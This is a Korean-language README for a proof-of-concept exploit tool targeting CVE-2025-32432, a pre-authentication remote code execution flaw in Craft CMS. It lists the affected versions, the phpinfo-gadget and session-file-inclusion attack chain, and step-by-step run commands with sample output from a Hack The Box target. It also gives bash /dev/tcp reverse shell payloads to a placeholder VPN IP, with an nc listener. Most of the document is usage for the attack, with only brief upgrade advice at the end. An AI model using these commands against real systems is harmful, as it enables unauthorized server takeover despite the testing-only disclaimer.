
CVE-2025-32432에 대한 단일 대상 개념 증명 도구로, Craft CMS에서 사전 인증 원격 코드 실행 취약점입니다. phpinfo 가젯을 통해 취약점 확인을 수행하고, 세션 파일 포함 체인을 통해 선택적 명령 실행을 수행합니다.
승인된 테스트만 허용됩니다. 이 저장소는 통제된 실습 환경, Hack The Box와 같은 CTF 플랫폼, 내부 검증 및 방어적 검증을 위한 것입니다. 귀하가 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 대해 실행하지 마십시오.
이 프로젝트는 CVE-2025-32432에 대한 단일 대상 개념 증명(PoC)을 포함하며, 이는 Craft CMS의 사전 인증 원격 코드 실행 문제입니다.
PoC는 두 단계로 수행됩니다:
phpinfo() 가젯을 사용합니다.이 스크립트는 일부 공개 PoC에서 볼 수 있는 일반적인 오탐(false-negative) 문제를 피하도록 설계되었습니다. 일반 이미지 변환 요청은 404를 반환할 수 있지만, 동일한 엔드포인트와 assetId가 실제 가젯 페이로드가 사용될 때는 여전히 작동합니다.
공식 Craft CMS 권고 및 공개 권고 데이터베이스에 따르면 영향을 받는 범위는 다음과 같습니다:
| Craft CMS 브랜치 | 영향을 받는 버전 | 수정된 버전 |
|---|
| 3.x | < 3.9.15 | 3.9.15 |
| 4.x | < 4.14.15 | 4.14.15 |
| 5.x | < 5.6.17 | 5.6.17 |
Craft CMS 배포를 담당하는 경우 즉시 수정된 릴리스로 업그레이드하십시오.
PoC는 다음 흐름을 따릅니다:
Get CSRF token
|
v
Test endpoint + assetId with phpinfo gadget
|
v
Confirm vulnerable response contains PHP Version / PHP License
|
v
Poison Craft session return URL with PHP payload
|
v
Trigger yii\rbac\PhpManager to include the PHP session file
|
v
Execute optional command
중요한 구현 세부 사항:
/var/lib/php/sessions/var/lib/php/session/tmp--timeout 옵션이 포함되어 있습니다.craftcms_cve_2025_32432_public_poc.py Main single-target PoC
README.md Project documentation
requestsurllib3종속성 설치:
python3 -m pip install requests urllib3
이 모드는 phpinfo 가젯만 사용하여 취약점을 확인합니다.
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local
예상 성공 출력:
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.
phpinfo 응답은 다음으로 저장됩니다:
phpinfo_success.html
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"
예시 성공 출력:
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
이미 작동하는 값을 알고 있을 때 사용합니다.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
-a 0 \
--endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
--session-dir /var/lib/php/sessions
일부 대상은 x.php와 같은 사용자 정의 프론트 컨트롤러를 사용할 수 있습니다.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
--front x.php \
-c "id"
이것은 다음과 같은 경로를 테스트합니다:
http://target.local/x.php?p=admin/actions/assets/generate-transform
먼저 리스너를 시작합니다:
rlwrap -cAr nc -lvnp 12345
그런 다음 리버스 셸 명령으로 PoC를 실행합니다:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
--timeout 0
--timeout 0은 요청 시간 제한을 비활성화합니다. 리버스 셸이 HTTP 요청을 열어두는 경우가 많기 때문에 유용합니다.
분리된 변형:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
--timeout 0
| 옵션 | 설명 | 기본값 |
|---|---:|
| -u, --url | 대상 기본 URL | 필수 |
| -c, --cmd | phpinfo 확인 후 실행할 선택적 명령 | 없음 |
| --front | 프론트 컨트롤러 파일 이름 | index.php |
| -s, --scan-max | phpinfo 가젯으로 테스트할 최대 assetId | 50 |
| -a, --asset | 알려진 작동 asset ID | 없음 |
| --endpoint | 알려진 작동 generate-transform 엔드포인트 | 없음 |
| --session-dir | PHP 세션 디렉토리. 여러 번 제공 가능 | 내장 목록 |
| --timeout | 명령 트리거에 대한 요청 시간 제한. 시간 제한 없음은 0 사용 | 20 |
assetId 0 -> HTTP 404탐색을 위해 일반 변환 요청에 의존하지 마십시오. 일부 대상은 일반 변환 본문에 대해 404를 반환하지만 가젯 페이로드는 여전히 실행합니다.
이 PoC는 phpinfo 가젯 자체를 사용하여 유효한 조합을 발견합니다.
세션 디렉토리를 수동으로 지정해 보십시오:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
--session-dir /var/lib/php/sessions
그런 다음 시도:
--session-dir /var/lib/php/session
또는:
--session-dir /tmp
다음 방법 중 하나를 사용하십시오:
--timeout 0
setsid 또는 nohup을 사용하여 분리된 페이로드 사용.
콜백 IP가 올바른지 확인:
ip -br a | grep tun
리버스 셸이 성공적으로 연결된 경우 정상일 수 있습니다. 시간 초과를 실패로 간주하기 전에 리스너를 확인하십시오.
먼저 간단한 명령을 시도하십시오:
-c "id"
-c "whoami"
-c "pwd"
간단한 명령이 작동하지만 복잡한 명령이 실패하면 명령을 신중하게 인용하거나 분리된 셸 페이로드를 사용하십시오.
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Craft CMS 인스턴스를 관리하는 경우:
3.9.15, 4.14.15, 5.6.17 이상으로 업그레이드하십시오..env의 시크릿과 데이터베이스 자격 증명을 교체하십시오.이 프로젝트는 교육, 연구, 실습 및 방어적 검증 목적으로만 제공됩니다. 저자는 오용에 대한 책임을 지지 않습니다. 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템만 테스트하십시오.